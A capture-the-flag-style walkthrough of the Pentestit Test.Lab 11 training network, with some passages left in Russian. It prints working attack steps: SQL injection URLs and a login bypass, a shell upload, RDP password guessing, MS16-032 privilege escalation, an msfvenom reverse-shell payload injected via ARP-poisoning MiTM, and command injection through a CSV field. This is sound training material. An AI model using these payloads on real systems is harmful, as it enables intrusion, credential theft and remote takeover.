On June 30th, Pentestit's Pentest laboratory was launched again . For many years, these laboratories have been providing an opportunity to test themselves as a pentester in a virtual company with their business processes, servers, employees and problems, to learn and test modern vulnerabilities and hone their skills in application audits and pentest, which is as close as possible to the real one.

This laboratory is already the 11th in a row. Descriptions of the tenth , ninth , eighth , seventh and sixth laboratories are also available, and can be useful in preparing for participation if you have not already done so.

Like last time, after 11 days the laboratory was passed by the first participants who collected 12 tokens, which confirm the complete solution of the next task, whether it be gaining access to the database, penetration and privilege escalation on a Linux server, or a successful MiTM attack on the director’s laptop virtual company Test.Lab.

This article describes all the stages of passing the Test.Lab 11 pentest laboratory for everyone who is interested in diving into the pentest area or finding out how a specific task was solved.

Connection to the laboratory

Before you begin, you need to register in the laboratory, set up a VPN connection and connect to the Test.Lab virtual company network.

Register here , and then follow these instructions in order to connect.

For testing, you can install Kali Linux in a virtual machine - a special Linux distribution for pentesters, which has everything you need to work. If you have not done so, now is the time.

Start testing

After connecting, two gateways become available to us - 192.168.101.10 and 192.168.101.11, behind which the following network is hidden:

We collect information

Given that this time there is no legend about any fictitious company name, passive collection of information from open sources is unlikely to help - a search on “test.lab” will give a lot of superfluous. Therefore, let's move on to port scanning:



From the results it is clear that we have two sites (the main site of the company and CRM, as will be explained later), mail services (access to web mail and SMTP) and SSH on non-standard port 2222. If you scan all ports using switch -p-, you can also find OpenVPN on port 1194 of the host 192.168.101.10.

It will also be useful to scan UDP ports, however, we will begin to analyze the services available to us one by one.

At the beginning of the pentest, you need to try to determine the most realistic goals for the upcoming attack. So, you can immediately cut off the SSH server, which requires authentication by key, and the OpenVPN server, which is waiting for the configuration file to connect (although for OpenVPN, options are possible if there are no other vulnerabilities). In addition, you can try to pick up passwords for employee accounts on mail servers, but for this you need to know the names of these records or the emails of employees.

After a quick analysis of the company’s website, accessible on port 80, it becomes clear that it is protected using the web application firewall, since most “aggressive” requests earn our IP ban on the firewall for 2 minutes. Searching directories, or actively scanning using utilities like Burp Suite, leads to persistent 403 errors.



We will focus on the Vtiger CRM system, which, at first glance, is the very low-hanging fruit we are looking for.



At first glance, the Vtiger system is not protected by WAF, and version 6.3.0 contains a vulnerability that allows us to get a shell on this server:



But, unfortunately, not everything is so fast - as you can see, you must first log in to CRM, since the vulnerability is authenticated RCE. Let's study it more closely!

We study CRM

Not finding anything interesting in the subdirectories, and installing a copy of Vtiger 6.3.0 (which can be downloaded here ), we understand that the default username is admin. Let's try to use Burp Suite to find the password.

This article will focus less on setting up tools like Kali and Burp Suite, and more on the specifics of specific lab tasks. A review of tools is beyond the scope of this article, but there are a lot of details about this on the net.

After setting up Burp Suite to search the password using the large dictionary from SecLists (100 thousand passwords), with the user admin, we get the password you need:



And, finally, go to the system:



Judging by the administrator’s password and nickname in CRM (pay attention to it in the upper right corner - it’s still useful when taking mail), it becomes clear that the administrator is a serious fan of Star Wars.

We use the aforementioned vulnerability to download shell after authentication. To do this, go to CRM Settings → Templates → Company Details , and edit the logo, changing it to a single-line shell , after enabling traffic interception in Burp Suite:



Having intercepted the request in Burp, we return the php extension to the file to be downloaded (an alternative would be to immediately load the PHP file, but at the same time change the mime type of the loaded object to image / jpeg in Burp Suite). Separately, it should be noted that it is necessary to remove the occurrences of the string “php” in the loaded shell, otherwise Vtiger CRM will filter out this “image” (we have enough characters. Now we can walk around the server in search of a token using our shell: Done! The first token is taken.

We make our way inside the network

As we recall, after taking the CRM, it became clear that the administrator, with the email admin@test.lab, is a fan of Star Wars. Let's try to go into the mail as admin@test.lab using the CRM admin nickname as a password: We



found an SSH key for the tech user:



With this key, we can connect to the SSH server:



And so, we find ourselves inside the network of the company branch. Having connected to a new server, it is useful to study it from all sides to understand what information is available for further promotion within the network or privilege escalation. A good checklist of what you need to check can be found here .

Having studied, in particular, crontab, we find out that there is a connection to OpenVPN. Despite the fact that the scripts themselves are not available to us in the / opt folder, you can still extract something useful:



Thus, we will find out the Office-2 username and the certificate needed to connect. Having compiled the necessary configuration file on the basis of this data (below), we will use a script to enumerate passwords for OpenVPN . The script will have to be slightly changed so that the external OpenVPN does not turn off every time it tries.

client
dev tun
proto tcp
remote 192.168.101.10 1194
auth-user-pass 
resolv-retry infinite
persist-key
persist-tun
comp-lzo
verb 3

-----BEGIN CERTIFICATE-----
MIIEXjCCA0agAwIBAgIJAKYiQCcisQFFMA0GCSqGSIb3DQEBCwUAMHwxCzAJBgNV
BAYTAlJVMQ8wDQYDVQQIEwZNb3Njb3cxDzANBgNVBAcTBk1vc2NvdzERMA8GA1UE
ChMIQ29tYXBhbnkxCzAJBgNVBAsTAklUMRkwFwYDVQQDExBjb21wYW55LnRlc3Qu
bGFiMRAwDgYDVQQpEwdFYXN5UlNBMB4XDTE3MDQwMjE0NDIzMFoXDTI3MDMzMTE0
NDIzMFowfDELMAkGA1UEBhMCUlUxDzANBgNVBAgTBk1vc2NvdzEPMA0GA1UEBxMG
TW9zY293MREwDwYDVQQKEwhDb21hcGFueTELMAkGA1UECxMCSVQxGTAXBgNVBAMT
EGNvbXBhbnkudGVzdC5sYWIxEDAOBgNVBCkTB0Vhc3lSU0EwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDdcIqS/FA1M8NhiFfiQFKdxUMePwHK2UgmshXS
48Jeshl7qjHAfLQl2Pex83gbNWud9av4yp1H4m3iwGaqTQPaxgOmzoV6vMN3Hnt7
Vk9eqTpGaODFC6IrSrnE9bYL7E90ra0PWHZY9dshup/L+uasg7OrUHHQhXV6e5GR
C0jAmqUp8Wj61DZDuyvkQE8nDUUdxEObUgdZF5dq4aHKkBFL1iC3+f+aSA6//QTM
kNYzrGv2s0cpkZI8zV4ZT+YgXgWMBJfszIU1AFegNLfksgpyR+IP3YjjkQ4s6wQd
HBTkWsLSf4zusgTYkHpG3mP0z4o7/r4RiEywrJidgE5cN2wbAgMBAAGjgeIwgd8w
HQYDVR0OBBYEFONOp29lTyyDD8E1wzF+rOl1LAlcMIGvBgNVHSMEgacwgaSAFONO
p29lTyyDD8E1wzF+rOl1LAlcoYGApH4wfDELMAkGA1UEBhMCUlUxDzANBgNVBAgT
Bk1vc2NvdzEPMA0GA1UEBxMGTW9zY293MREwDwYDVQQKEwhDb21hcGFueTELMAkG
A1UECxMCSVQxGTAXBgNVBAMTEGNvbXBhbnkudGVzdC5sYWIxEDAOBgNVBCkTB0Vh
c3lSU0GCCQCmIkAnIrEBRTAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IB
AQBYVZ+3ZjvMjOjOk8zgmMWHaf153ptbFf53c1YtxmDFKWbDo7mG0JmN318T+Kh/
/fxNOha1a2WdQ97yPCR8llz08ZIWLm2n38JdhWCuSZPsozYIGOQX1rZ4lj+8T0kb
hF1vr0KOCI6ODTwPEPJwAd9mcdRQK0Jd52WvuvdGQKUC8DPPDo4B2VHAn8KIDIJp
b+mecHvvxGTSzo4k5nz4bdpYit9i9HayvJ3uIjt05jciQkp5bi5YUXEpq0cspNLr
awoYzU/p/oTvFG8sn8EWAl6pPonQUCGka7GRG2Q9Na9QysMG8H5hITZ7d5VngyrJ
vwj14awsaPvMoIgk8C8Zrkuu
-----END CERTIFICATE-----

We select the password using a small dictionary based on starwars (after all, the administrator is a fan, as we already understood):



And then we successfully connect to the internal VPN, after which we can see the 172.16.0.0/24 subnet displayed on the network diagram above.

Attack SITE

After gaining access to the internal network, and scanning with nmap, we find on 172.16.0.11:80 the same site that was accessible from the outside, now without WAF protection. Having studied the source code of the page a little, it becomes clear that we are faced with Wordpress version 4.8, which immediately catches the eye of the kittycatfish plugin, which is vulnerable to SQL injection, at /wp-content/plugins/kittycatfish-2.2/.



The exploit description states that the Injection is in the base.css.php file, in the kc_ad parameter. Let's search it on GitHub :

$kc_ad = $_GET['kc_ad'];
$kc_ad_meta = kittycatfish_ad_get_meta($kc_ad);

After studying kittycatfish.php, it becomes clear that the value kc_ad_css is added to the CSS, and, accordingly, the injection may look like this:

    http://172.16.0.11/wp-content/plugins/kittycatfish-2.2/base.css.php?kc_ad=16+union+select+0x6b635f61645f637373,(select%20@@version)

The version is received. Now we get the name of the table:

http://172.16.0.11/wp-content/plugins/kittycatfish-2.2/base.css.php?kc_ad=16+union+select+0x6b635f61645f637373,(SELECT%20GROUP_CONCAT(table_name)%20FROM%20information_schema.tables%20WHERE%20table_schema=database()%20GROUP%20BY%20table_name%20LIMIT%200,1)

And finally the token in the column name:

http://172.16.0.11/wp-content/plugins/kittycatfish-2.2/base.css.php?kc_ad=16+union+select+0x6b635f61645f637373,(SELECT%20GROUP_CONCAT(column_name)%20FROM%20information_schema.columns%20WHERE%20table_name=0x746c5f746f6b656e%20GROUP%20BY%20table_name%20LIMIT%200,1)

Готово! Кстати, все hex значения получены следующими командами:

$ echo -n kc_ad_css | xxd -p
6b635f61645f637373
$ echo -n tl_token | xxd -p
746c5f746f6b656e

Токен RDP

Вернемся на некоторое время в сеть филиала «The Second Office», которая стала доступна нам благодаря подключению к SSH: компьютеры 192.168.13.1-3, и просканируем доступные порты (так как они не отвечают на ping, нужно использовать ключ -Pn):



Найдя RDP, попробуем подключиться к нему, предварительно пробросив нужный порт, используя ~C — командную консоль SSH-клиента:



В Remote Desktop есть такая особенность, которая позволяет узнать список пользователей на компьютере, если не передать никакое имя пользователя при подключении. Сделаем это с использованием xfreerdp:

xfreerdp /v:127.0.0.1 -sec-nla /u:""

Having received the usernames, we will use crowbar to find the password - for RDP, in my experience, it always works better than Hydra or Medusa:



After successfully selecting the password, we get to RDP:



Having not found anything interesting for the user arm554, we move on. Let's try to increase privileges using ms16_032 , as described, for example, in this video :

xfreerdp /v:127.0.0.1 /u:"arm554" /drive:share,/root/pentestit

By copying MS16-032.ps1 from Exploit DB, we obtain administrator rights:



After which, using the following commands, we create a new administrative user:

net user user1  /add
net localgroup administrators user1 /add

By logging in as user1, we get access to the user folder, where you can find the token, and at the same time, and, apparently, hashes of the armXYZ user passwords, of which only arm554 is not deleted, judging by the files.



This information will be useful to us in the future, for taking AD, which we will proceed with.

In addition to machine 192.168.13.1, in the branch you can find the appropriate passwords for users "users" on machines 192.168.13.2 and 192.168.13.3 using a dictionary larger than john.txt.

Pass-the-hash in AD

After receiving the RDP and extracting the hash, we get the opportunity to attack Active Directory, which, according to the network diagram, is located at 172.16.0.10. Port scanning only confirms that it is a domain controller (and at the same time its name is TEST.LAB): We will



use the kerberos_enumusers module from Metasploit to confirm the existence of arm554 using Kerberos:



Given that Windows 2012 is installed, try pass-the- hash via SMBv3:



Having received the list of available shares, we will try to access files:



The token is received, and the network_test.txt file with the following contents:

Hi, mate! Need to test ARP-table in DIR subnet.
I'll install intercepter <логин и пароль к серверу в сети DIR>

We still do not have access to this server, since first you need to access the 172.168.0.252 router indicated on the network diagram. Therefore, we continue to study the subnet 172.16.0.0/24.

CUPS Token

On the 80th port of machine 172.16.0.14, displayed as CUPS on the network diagram, we find the following page:



The administrative panel leads to the address closed by basic authentication, while local storage displays, apparently, a self-written web application with a login form . Having tried several basic passwords, we assume the presence of SQL injection, and we enter the system with the following data:

admin
admin' or 1=1 -- -

After that, scans made in the system become available to us. Among other things, we find a private key for connecting to a router that hides the last part of the network from us:



After spending an impressive amount of time to parse each character and correctly sorting it from the image, we can connect to a router named morgan: We



use sshuttle to conveniently forward ports on the subnet 192.168.10.0/24, 192.168.11.0/24 and 192.168.12.0/24:

Man-in-the-middle in DIR - get access to the DIRECTOR computer

After scanning the DIR network and using the login and password found on AD, we connect to 192.168.12.2 via RDP and find Intercepter in the Soft folder, as mentioned in the information from the domain controller:



First, let's try to do ARP poisoning inside the subnet and see that they don’t communicate whether there are 192.168.12.1 (a director’s machine) and 192.168.12.3 (a machine with a web server on port 80) between each other. To do this, scan the network:



After the necessary machines are found, make the settings as shown in the screenshot:



In this case, despite the fact that 192.168.12.3 is not a gateway, we set it as the gateway, because we are not interested in the communications of the director’s machine with an external network, but the communications inside this subnet. Intercepter-NG will respond to machine 192.168.12.1 that it is 12.3, and machine 12.3 that it is 12.1. After this setting, go to the raw packets tab and set the “port not 3389” Pcap filter to exclude RDP packets that we constantly exchange with machine 12.2:



After that, you need to run sniffing, NAT and ARP poisoning to carry out the attack:



Soon we see that the director is trying to download quake3.exe from the web server 192.168.12.3 , but receives a 404 error.


We fix this annoying situation by generating reverse shell payload with the following command:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.12.2 LPORT=80 -f exe > quake3.exe

After the file is uploaded to the RDP server, we will configure the implementation of this file in the HTTP response. To do this, enable SSL Strip (although the file is not downloaded via SSL, it is necessary to enable MiTM in Intercepter):



Then we configure the implementation by selecting the “fake” quake3.exe that we downloaded:



Then we start netcat listener and enable it through the firewall:



And, finally, enable ARP poisoning again to inject quake3.exe in response from the web server, and then we get the shell:



In the documents we find the SSH key, and our next token!



In addition, having studied 192.168.12.2 itself, you can find the todo file, which will be useful in the future:



Thanks to the key found, we can try to enter the machine 192.168.11.1, which we now have access to through the router (the key to which was found in CUPS), and the remote key found on the director’s machine.

Switching to ADMIN

When connected to 192.168.11.1 using the remote key, we get a form that forwards us to other computers on the network (namely, Srv1 = 172.16.0.16, using the user aengineer and the saved key, or Srv2 = 192.168.10.1, also with use login aengineer).



Something tells us that there is command injection here, and we can get beyond this script and get to 11.1 itself. Let's try to do this using standard command separators, such as;, |, &, and others:



A semicolon is triggered! The console freezes for a few seconds if you add sleep. Moreover, if we write something else instead of Srv1 or Srv2, we see that we receive messages from STDERR, while the output of commands that are executed successfully is hidden. Let's try redirecting the standard output to STDERR to get the output of the results:



It works! Now, using this technique, we get a full shell:



In the / opt / gh folder there is a script that requested the server name. As you can see, it really has a command-injection vulnerability (and at the same time a bash filter, which we bypassed with dash). Having examined this server, the only useful information is the aengineer key, with which we connected to 172.16.0.16 and 192.168.10.1, which can be copied:



Thus, we were able to get into the admin network.

Get CONNECT

Having connected to 192.168.10.1 as aengineer, we recall that the file found on 192.168.12.2 mentioned the FTP connection to the server on 192.168.10.1 on port 2020. Just in case, we try to enable netcat listener on this port:



And we find out that the server is really gets a connection, but then nothing happens. Since the FTP connection, it is logical to assume that the connecting party is waiting for a greeting from the FTP server before logging in. We simulate this with a simple command:



Token received!

Eavesdrop on CLOUD

Continuing to be on 192.168.10.1, you will notice that tcpdump is allowed from the user aengineer on this machine. Typically, this configuration requires root privileges, but it was apparently configured differently here . In general, it is useful to check the ability to record traffic on any machine, since it can tell a lot of interesting things. We do this as follows:



After that, by opening the file in Wireshark, you can find traffic between 192.168.10.2 and 192.168.10.3 (CLOUD), the following contents:



As you can see, we found the user password for the user to the cloud server. Let's try to come in:



It turned out! Found keepass-store named my_store.kdbx. We will use the keepas2john utility to extract the hash, and try to find the password:



Configure hashcat, and find the password:



In the picture, only the last 4 characters of the password are specially blurred, to facilitate the selection. The password is in the rockyou.txt dictionary. Now just enter this password in keepass, and get the CLOUD token!

We use CLAMAV

Having scanned 192.168.11.5, we find the sendmail service, which, probably, is Clamav. Let's check the guess using the appropriate exploit . I had to spend some time before it became clear that the backconnect through the reverse shell only works on 192.168.10.1
:

Got a shell! But the token is not yet available. Given that the machine has a non-standard configuration for this network in the form of an installed ossec, there is a suspicion that privileges must be escalated. To do this, look for exploits on ossec:



The most likely exploit under number 37265 is the last available local root exploit to date. To escalate, do the following:

1. Create a file with the name “foo - $ (chmod 777 etc)” in the home directory / home / clamav (we cannot use slashes, and ossec commands are executed in the root directory - you can bypass this restriction via cd if you wish)
2. Edit this file and create another one in the same directory
3. When the necessary rights to the etc folder are installed, delete the passwd file, and then create the one we need with another user with ID 0 and a known password
4. Make su to this user

In our case, as it turned out, just read the contents of the root directory, which we will do: the



clamav token is received. Upon completion, it is worth returning the rights to the directories to the place so as not to spoil the passage to other participants.

Token ACCESS CONTROL

Having connected as aengineer to the machine 172.16.0.16, we find the following: The



token is available only from the www-data user, and is not accessible through the web server due to strict permissions. After examining the source code for ftpclient.py, login.php and parse.php, the following becomes clear:

1. To log in, just go to 172.16.0.16/parse.php?auth=asdfgtgrfedQWERsdfd
2. The parse.php file displays data from db.csv, which is periodically downloaded from the FTP server 172.16.0.17 using ftpclient.py and the credentials specified in it
   
3. Downloading is performed as root, so there is no way to change the file on the client
4. Inside the parse.php file, the date is converted from db.csv to another format, while there is a command injection vulnerability
   
   
   
5. The token is available exclusively for reading from the user www-data.

Thus, in order to escalate privileges to www-data, we need to embed the necessary command in the db.csv file:

Name;Surname;In;Out;ID
Mireya;Bain;1498292760.0|chmod 777 /var/www/html/token.sec;1498310760.0;38611

From ftpclient.py you can extract the username and password for the FTP server at 172.16.0.17, but, unfortunately, the db.csv file on it is read-only to us, so there is no way to replace it. At this stage, it is useful to recall that we already have the aengineer user SSH key extracted from 192.168.11.1 - let's try to go under it:



It worked! And now, as you can see from the permissions, aengineer has the ability to write to db.csv. Having updated the file manually, we notice that it is constantly being updated from some database. To ensure the constant availability of the new file, we write a short loop in bash:

while true; do python -c 'print "Name;Surname;In;Out;ID\nMireya;Bain;1498292760.0|chmod 777 /var/www/html/token.sec;1498310760.0;38611"' > db.csv; sleep 2; done

And now, the db.csv file has been updated already on 172.16.0.16!



Now we go to the parse.php page to execute the command from db.csv:


Now we can read the token!



Then, we return the previous rights 400 to the token.sec file in the same way so as not to spoil the passage to other participants in the laboratory. Another token is taken.

Magical HELPDESK

As you can see, there are several machines in this laboratory that are either of no interest or practically invulnerable - this makes the laboratory even closer to a real network, where not every computer on the network has a vulnerability. Therefore, it is important to continue scanning the network in order to constantly search for new services.

So, having scanned 192.168.11.3, we find the open 80th port on which the Ticket service application is uploaded, or HELPDESK:


Looking for hidden directories with dirsearch, we find the / admin folders (closed by basic authentication), / _admin with a copy of the login.php file , / templates with the head.html file, and several less interesting folders like fonts and css.

Having studied the application, you will notice that when you go to different pages inside, we are required to log in as different users - from user to oper_1 / 2 and admin - obviously, our main goal.

Despite the fact that the cat parameter in the URL hints at a vulnerability like Local File Inclusion, based on failed attempts and the /templates/head.html file, we can conclude that this vulnerability is absent. In addition, after checking SQL and NoSQL injections, and several other vulnerabilities, we decide to try to pick up passwords for the specified users: admin / user / oper_1 / oper_2, as well as the users mentioned in the tickets:


Using Burp Suite in the same way as with CRM, only in Cluster Bomb mode, I managed to pick up the user / password and oper_2 / oper_2 passwords, but, unfortunately, none of them were suitable for logging in as admin. In addition, the hope that the forms for editing or deleting tickets will be available, and if it will be possible to find any vulnerabilities in them, has disappeared.

In my opinion, this token was the most difficult and interesting in the laboratory. This is a web application with only two entry points: /login.php and /_admin/login.php, none of which contain vulnerabilities that can be detected with the naked eye.

After studying the tickets, we pay attention to the fact that the authors of the application according to legend have fixed some problems in hashing. Looking for php hash vulnerability we find the key to the solution -Magic Hashes . This article describes the essence of the vulnerability in sufficient detail ( the Russian version is also available), so I will not repeat the detailed description here.

The vulnerability is that due to PHP type juggling, it could happen that different hashes (be it MD5, SHA1 or others) from different passwords are equal due to automatic type conversion.

Having tried the hashes given in the article as passwords for the admin user on both login.php pages, after long attempts, it comes to understanding that the hash is taken from username + password. Then, in order not to look for a new hash that meets the requirements, we try to “split” the MD5 and SHA1 hashes into two parts, and go to admin using this link:
http://192.168.11.3/_admin/login.php?login=10932&password=435112 .

Finally, the Removed Tickets tab becomes available, where the long-awaited HELPDESK token awaits us, along with a password from SSH to receive the SCREEN token:

SCREEN privilege escalation

Having received the password for the SSH server from HELPDESK, we can go in and look around:



But, unfortunately, not far - we are limited to the restricted bash (rbash) shell, which forbids access to the shared file system and use slashes in commands. Usually, you can exit restricted bash quite simply, for example like this:



Having looked around in the main system, we see that the token is in / home / tester / token, but we do not have permission to read it. In addition, there is an entry in cron on the machine that executes the following script:



Here is the source code of the script:

#!/usr/bin/perl -w
if (!-l $ARGV[0] && -f $ARGV[0]) {
	open $file1, $ARGV[0];
	$fname = <$file1>;
	chomp($fname);
	open ($file2, $fname) or die("$!");
	open $file3, '>>', "/tmp/testlog";
	$line = <$file2>;
	chomp ($line);
	print $file3 $line, "\n";
	close $file2;
	close $file3;
	close $file1;
	unlink($ARGV[0]);
	sleep(1);
	open $file1, '>', "/tmp/testlog";
	close $file1;
}
else {
	exit(0);
}

As can be seen from the script and startup parameters, it receives the file name for reading from the file in / build / log /, opens this file and displays the contents in / tmp / testlog, then deletes the processed file in / build / log and waits for one second, during which the contents of the file will be available. Since the command is executed on behalf of the user tester, we can exploit this in order to extract the value of the token. The only thing left to do is create a file in / build / log /, where our user john, unfortunately, does not have access to. Let's try to fix it.

The / build folder also contains screen, in which the SGID bit is set, which means that screen will be executed on behalf of the utmp group:



In this case, you can write in the / build / log folder on behalf of the utmp group. Using the -L switch in the screen command, you can create the following file:



As you can see, the file was created successfully as user john. We include write permissions to this file for john, and put the path to the file we want to read there, and then run the output of the log file in a loop:



So, the last SCREEN token is received!

All material here is presented solely for educational purposes, so your comments on the passage of the laboratory are welcome - let as many people as possible learn about different ways to solve a particular problem.

I wish good luck to those who have not yet managed to go through the laboratory and experience the joy of taking each car on the network.

Thanks to Pentestit for the interesting, complex and realistic lab! Thanks to the reader for reaching this point.

See you at the new laboratory!